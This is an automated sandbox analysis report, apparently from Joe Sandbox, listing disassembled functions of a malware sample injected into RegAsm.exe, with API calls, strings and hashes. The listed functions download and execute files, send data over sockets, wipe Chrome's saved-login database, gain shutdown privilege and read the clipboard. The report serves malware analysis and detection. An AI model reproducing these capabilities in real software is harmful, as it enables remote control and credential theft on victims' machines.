                              • Opcode ID: cc4c28d987af9ed77b60558391ff2640f7f7fc81cb6ffa0e765e100d0ff3e66e
                              • Instruction ID: 5ff565fa5b8df07833abad56ec5ecbabe923af01fc99f1944a330f9e709d98a3
                              • Opcode Fuzzy Hash: cc4c28d987af9ed77b60558391ff2640f7f7fc81cb6ffa0e765e100d0ff3e66e
                              • Instruction Fuzzy Hash: AE316D72504308FFD710DF94DC45F9BB7ECAB88705F01083AB645D61A0E7B5E9488BA6
                              Function 00413FCA Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 382registrylibraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • RegCreateKeyExW.ADVAPI32(00000000), ref: 0041409D
                              • RegCloseKey.ADVAPI32(?), ref: 004140A9
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              • LoadLibraryA.KERNEL32(Shlwapi.dll), ref: 0041426A
                              • GetProcAddress.KERNEL32(00000000), ref: 00414271
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressCloseCreateLibraryLoadProcsend
                              • String ID: SHDeleteKeyW$Shlwapi.dll
                              • API String ID: 2127411465-314212984
                              • Opcode ID: e30b5f6ce4cbdd366537afe2320d9bfcb0a6543311229dd69bf6235dce3d7422
                              • Instruction ID: ad322413622673165c78a8c4b5f48079e939d646f467ca97d3bec1feacf55119
                              • Opcode Fuzzy Hash: e30b5f6ce4cbdd366537afe2320d9bfcb0a6543311229dd69bf6235dce3d7422
                              • Instruction Fuzzy Hash: F9B1F971A0430066CA14FB76DC5B9AF36A86FD1748F40053FF942771E2EE7C9A4886DA
                              Function 00449190 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • _free.LIBCMT ref: 00449212
                              • _free.LIBCMT ref: 00449236
                              • _free.LIBCMT ref: 004493BD
                              • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                              • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                              • _free.LIBCMT ref: 00449589
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ByteCharMultiWide$InformationTimeZone
                              • String ID:
                              • API String ID: 314583886-0
                              • Opcode ID: 9cd240c025cd7d498dafe0f0be125a30ff36c68caa35d7d10d4c95a756b7505e
                              • Instruction ID: 779aab753f07af14b01adf3fce5c8211df4e7f9331a35af1166ddbde82723190
                              • Opcode Fuzzy Hash: 9cd240c025cd7d498dafe0f0be125a30ff36c68caa35d7d10d4c95a756b7505e
                              • Instruction Fuzzy Hash: CAC15771900205ABFB24DF69CC41AAFBBA8EF46314F1405AFE89497381E7788E42D758
                              Function 004167B4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97libraryloadershutdownCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00417952: GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                                • Part of subcall function 00417952: OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                                • Part of subcall function 00417952: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                                • Part of subcall function 00417952: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                                • Part of subcall function 00417952: GetLastError.KERNEL32 ref: 0041799D
                              • ExitWindowsEx.USER32(00000000,00000001), ref: 00416856
                              • LoadLibraryA.KERNEL32(PowrProf.dll), ref: 0041686B
                              • GetProcAddress.KERNEL32(00000000), ref: 00416872
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                              • String ID: !D@$PowrProf.dll$SetSuspendState
                              • API String ID: 1589313981-2876530381
                              • Opcode ID: cf382c4b4b58b3ccdbeb602cd597e3aae52b34eb44ac0b5ef7fae28ca1f23560
                              • Instruction ID: 15d3ae9bc4d358b9de40311b9e813ebd0b85961e95f80c383f5c7d57e5fc9640
                              • Opcode Fuzzy Hash: cf382c4b4b58b3ccdbeb602cd597e3aae52b34eb44ac0b5ef7fae28ca1f23560
                              • Instruction Fuzzy Hash: 6E21617060430256CB14FBB68856AAE63599F41788F41487FB442A72D3EF3CD845CBAE
                              Function 0045243C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 86COMMON
                              Download Yara Rule
                              APIs
                              • GetLocaleInfoW.KERNEL32(00000000,2000000B,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524D5
                              • GetLocaleInfoW.KERNEL32(00000000,20001004,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524FE
                              • GetACP.KERNEL32(?,?,0045275B,?,00000000), ref: 00452513
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: InfoLocale
                              • String ID: ACP$OCP$['E
                              • API String ID: 2299586839-2532616801
                              • Opcode ID: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                              • Instruction ID: 65f7b5195a5790e2d5819d7d4b0c6b76a8aa59636dcad79128a037cfc813d78c
                              • Opcode Fuzzy Hash: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                              • Instruction Fuzzy Hash: FD21F432600104A7DB348F54CF00AA773A6EB47B1AB168567EC09D7302F7BADD48C398
                              Function 0040BA12 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                              Download Yara Rule
                              APIs
                              • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040BA4E
                              • GetLastError.KERNEL32 ref: 0040BA58
                              Strings
                              • [Chrome StoredLogins found, cleared!], xrefs: 0040BA7E
                              • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040BA19
                              • UserProfile, xrefs: 0040BA1E
                              • [Chrome StoredLogins not found], xrefs: 0040BA72
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: DeleteErrorFileLast
                              • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                              • API String ID: 2018770650-1062637481
                              • Opcode ID: 0869f95c927aca72a4aa01e0263511fc677d69a40d3c9f55f6e6efd0e01f34cf
                              • Instruction ID: af402a2c9819bc64f7c9913ab42ffc044d60d1b3c88a69bbc3d4df1d4d30a246
                              • Opcode Fuzzy Hash: 0869f95c927aca72a4aa01e0263511fc677d69a40d3c9f55f6e6efd0e01f34cf
                              • Instruction Fuzzy Hash: 2D01A7B17801056AC70477B6CD5B9BE77249911704F50057FF802725E2FE7D59098ADE
                              Function 00417952 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON
                              Download Yara Rule
                              APIs
                              • GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                              • OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                              • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                              • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                              • GetLastError.KERNEL32 ref: 0041799D
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                              • String ID: SeShutdownPrivilege
                              • API String ID: 3534403312-3733053543
                              • Opcode ID: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                              • Instruction ID: b599e5caaba2c857c5a7044ea86e3d1b9a306509f9612008a7a3a71442eb1233
                              • Opcode Fuzzy Hash: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                              • Instruction Fuzzy Hash: 1EF03AB1801229FBDB109BA0EC4DEEF7FBCEF05612F100461B809A1092D7388E04CAB5
                              Function 00409253 Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON
                              Download Yara Rule
                              APIs
                              • __EH_prolog.LIBCMT ref: 00409258
                                • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              • __CxxThrowException@8.LIBVCRUNTIME ref: 004092F4
                              • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00409352
                              • FindNextFileW.KERNEL32(00000000,?), ref: 004093AA
                              • FindClose.KERNEL32(00000000), ref: 004093C1
                                • Part of subcall function 00404E26: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                                • Part of subcall function 00404E26: SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                                • Part of subcall function 00404E26: CloseHandle.KERNEL32(?), ref: 00404E4C
                              • FindClose.KERNEL32(00000000), ref: 004095B9
                                • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                                • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Find$Close$EventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsend
                              • String ID:
                              • API String ID: 1824512719-0
                              • Opcode ID: 79a333ab798d4f3832fd98009e5fc83f15b4850663dec53ce8833ea938511d01
                              • Instruction ID: 125c9cc0036adb3739497efb01147483584b5989e706bb19fe9a4109aadf0594
                              • Opcode Fuzzy Hash: 79a333ab798d4f3832fd98009e5fc83f15b4850663dec53ce8833ea938511d01
                              • Instruction Fuzzy Hash: DCB18D32900109AACB14EBA1DD96AED7779AF04318F10417FF506B60E2EF785E49CB98
                              Function 0041AA4A Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,0041A6A0,00000000), ref: 0041AA53
                              • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,0041A6A0,00000000), ref: 0041AA68
                              • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA75
                              • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,0041A6A0,00000000), ref: 0041AA80
                              • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA92
                              • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA95
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Service$CloseHandle$Open$ManagerStart
                              • String ID:
                              • API String ID: 276877138-0
                              • Opcode ID: 55aea4e01c19578bfbdca94b163ddb40001bd342cd849d2c6829f49351802c7e
                              • Instruction ID: 9fefcdd13c5f6832e1e8d6374d810b05479d45f16fba084c356bea358aebaaee
                              • Opcode Fuzzy Hash: 55aea4e01c19578bfbdca94b163ddb40001bd342cd849d2c6829f49351802c7e
                              • Instruction Fuzzy Hash: FCF08971101325AFD2119B619C88DFF2B6CDF85BA6B00082AF945921919B68CD49E9B9
                              Function 0041B4A8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                              Download Yara Rule
                              APIs
                              • FindResourceA.KERNEL32 ref: 0041B4B9
                              • LoadResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4CD
                              • LockResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4D4
                              • SizeofResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4E3
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Resource$FindLoadLockSizeof
                              • String ID: SETTINGS
                              • API String ID: 3473537107-594951305
                              • Opcode ID: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                              • Instruction ID: 65170a014006dd87783428e4339c5f85687a52ee3761dac8d56b05c0676c202a
                              • Opcode Fuzzy Hash: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                              • Instruction Fuzzy Hash: 8AE01A36200B22EBEB311BA5AC4CD473E29F7C97637100075F90596232CB798840DAA8
                              Function 00409665 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON
                              Download Yara Rule
                              APIs
                              • __EH_prolog.LIBCMT ref: 0040966A
                              • FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 004096E2
                              • FindNextFileW.KERNEL32(00000000,?), ref: 0040970B
                              • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00409722
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Find$File$CloseFirstH_prologNext
                              • String ID:
                              • API String ID: 1157919129-0
                              • Opcode ID: fb173912142d451d8169f8852f62cc003beda93b99b20e6bd32f4a4dc40a9ea1
                              • Instruction ID: bc6583c976318a9931a9d4e75bf6093b5b8d8c817350453c5398c0af4fd679c1
                              • Opcode Fuzzy Hash: fb173912142d451d8169f8852f62cc003beda93b99b20e6bd32f4a4dc40a9ea1
                              • Instruction Fuzzy Hash: 59812B329001199BCB15EBA1DC969EDB378AF14318F10417FE506B71E2EF78AE49CB58
                              Function 0040880C Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON
                              Download Yara Rule
                              APIs
                              • __EH_prolog.LIBCMT ref: 00408811
                              • FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                              • __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                              • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                              • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408A15
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Find$File$CloseException@8FirstH_prologNextThrow
                              • String ID:
                              • API String ID: 1771804793-0
                              • Opcode ID: 24d131f499e64054f79a0f46ecbae19e6fc47dfee84614c45b7e196f831b81b6
                              • Instruction ID: 1e810be39857a3d86828f92fa26e793a4655b35e172fafea17edde612d57cc14
                              • Opcode Fuzzy Hash: 24d131f499e64054f79a0f46ecbae19e6fc47dfee84614c45b7e196f831b81b6
                              • Instruction Fuzzy Hash: 16515F72900209AACF04FB61DD569ED7778AF11308F50417FB946B61E2EF389B48CB99
                              Function 00406EB0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                              Download Yara Rule
                              APIs
                              • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406FBC
                              • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 004070A0
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: DownloadExecuteFileShell
                              • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$open
                              • API String ID: 2825088817-3056885514
                              • Opcode ID: d5b821e171253cb396676c05401a8d63c0a5d85931093b1fd4d20512fa7d7d3c
                              • Instruction ID: 27a8b34c094a82f854f2ee3e6b31e6014a71d41456184bc7540e3ceb6c1d0c01
                              • Opcode Fuzzy Hash: d5b821e171253cb396676c05401a8d63c0a5d85931093b1fd4d20512fa7d7d3c
                              • Instruction Fuzzy Hash: 6561A171B0830166CA24FB76C8569BE37A59F81748F50093FB942772D2EE3C9905C69B
                              Function 0040783C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00407857
                              • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 0040791F
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: FileFind$FirstNextsend
                              • String ID: XPG$XPG
                              • API String ID: 4113138495-1962359302
                              • Opcode ID: 8ee3c4b34050bfc3eb39b734b42787355f0f4c7cc0427839037de91a24499d9f
                              • Instruction ID: 6b6d716c6ecdfe6ec78918620e47e684a121d368db73a1555a51ac38f2ecb6eb
                              • Opcode Fuzzy Hash: 8ee3c4b34050bfc3eb39b734b42787355f0f4c7cc0427839037de91a24499d9f
                              • Instruction Fuzzy Hash: 212195325083419BC314FB61D855DEFB3ACAF90358F40493EF696621E1EF78AA09C65B
                              Function 00451CD8 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 236COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                              • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00444A73,?,?,?,?,004444CA,?,00000004), ref: 00451DBA
                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,sJD,00000000,?), ref: 00451EFB
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$CodeInfoLocalePageValid_abort_free
                              • String ID: sJD
                              • API String ID: 1661935332-3536923933
                              • Opcode ID: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
                              • Instruction ID: 601d6103ecad0283333aca7e4f79148897faf6e4cefa34abd84194fcdbd45a0d
                              • Opcode Fuzzy Hash: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
                              • Instruction Fuzzy Hash: ED61FA35500606AAE724AB75CC86BBB73A8EF04316F14046FFD05D7292EB78ED48C769
                              Function 004520C3 Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452117
                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452168
                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452228
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorInfoLastLocale$_free$_abort
                              • String ID:
                              • API String ID: 2829624132-0
                              • Opcode ID: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
                              • Instruction ID: 4b80d7ab7a7ff47978e382ad652e238d088576b56b9f239e8998609391b98480
                              • Opcode Fuzzy Hash: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
                              • Instruction Fuzzy Hash: B961C1315006079BDB289F25CE82BBB77A8FF05306F1041ABED15C6642F7B89D89DB58
                              Function 0043BB22 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • IsDebuggerPresent.KERNEL32 ref: 0043BC1A
                              • SetUnhandledExceptionFilter.KERNEL32 ref: 0043BC24
                              • UnhandledExceptionFilter.KERNEL32(?), ref: 0043BC31
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExceptionFilterUnhandled$DebuggerPresent
                              • String ID:
                              • API String ID: 3906539128-0
                              • Opcode ID: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                              • Instruction ID: cbfc558a7ca4bb69983b526de44ffd1abc81b2e56a4044740c9350c1ecaeaada
                              • Opcode Fuzzy Hash: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                              • Instruction Fuzzy Hash: E131C27590121DABCB21DF65DD89BCDBBB8AF08311F5051EAE80CA6251EB349F858F48
                              Function 004432B5 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetCurrentProcess.KERNEL32(?,?,0044328B,?), ref: 004432D6
                              • TerminateProcess.KERNEL32(00000000,?,0044328B,?), ref: 004432DD
                              • ExitProcess.KERNEL32 ref: 004432EF
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Process$CurrentExitTerminate
                              • String ID:
                              • API String ID: 1703294689-0
                              • Opcode ID: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                              • Instruction ID: 3be6e6b92543006147ef5d7b2afd166c5ab2c5ffe072a920593a5ac20c7500e8
                              • Opcode Fuzzy Hash: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                              • Instruction Fuzzy Hash: D6E0BF31400244FBDF126F55DD0AA993B69FB40757F044469F90946232CB7ADE42CA98
                              Function 0040B70E Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Clipboard$CloseDataOpen
                              • String ID:
                              • API String ID: 2058664381-0
                              • Opcode ID: d38c0863fa6e1407ff7c70a07519499014c38180332fc89bd075bae9f751f2b8
                              • Instruction ID: a9752f6e69e3a39ef1c6dae57fb9473311d117e3f10fa11c4aa70225693e5904
                              • Opcode Fuzzy Hash: d38c0863fa6e1407ff7c70a07519499014c38180332fc89bd075bae9f751f2b8
                              • Instruction Fuzzy Hash: 4FE0EC31645320EFC2209B609C49B9A6754DF95F52F41843AB905AB2D5DB78CC40C6AD
                              Function 0044E879 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: .
                              • API String ID: 0-248832578
                              • Opcode ID: 6d782d14881953f3dc1aa7198760a6549ba6db1eba9a251ec7cea06479966fa1
                              • Instruction ID: 28de479bcd0ee174bbf7ea2f8c467f6584cf945aa63ddb2e5cfeaaf716254919
                              • Opcode Fuzzy Hash: 6d782d14881953f3dc1aa7198760a6549ba6db1eba9a251ec7cea06479966fa1
                              • Instruction Fuzzy Hash: 233106B2900149AFEB249E7ACC85EEB7BBDEF45304F1001AEE819D7291E6349D458B54
                              Function 00451F9B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                              • EnumSystemLocalesW.KERNEL32(004520C3,00000001,00000000,?,lJD,?,004526F0,00000000,?,?,?), ref: 0045200D
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$EnumLocalesSystem_abort_free
                              • String ID: lJD
                              • API String ID: 1084509184-3316369744
                              • Opcode ID: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
                              • Instruction ID: 7d3ee128790e63e9d167a680a676634a6e0759605f9449bc3b94779c572ada63
                              • Opcode Fuzzy Hash: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
                              • Instruction Fuzzy Hash: E51125372007019FDB189F39C8916BABB91FF8075AB14482EEE4687B41D7B9A946CB44
                              Function 00452036 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
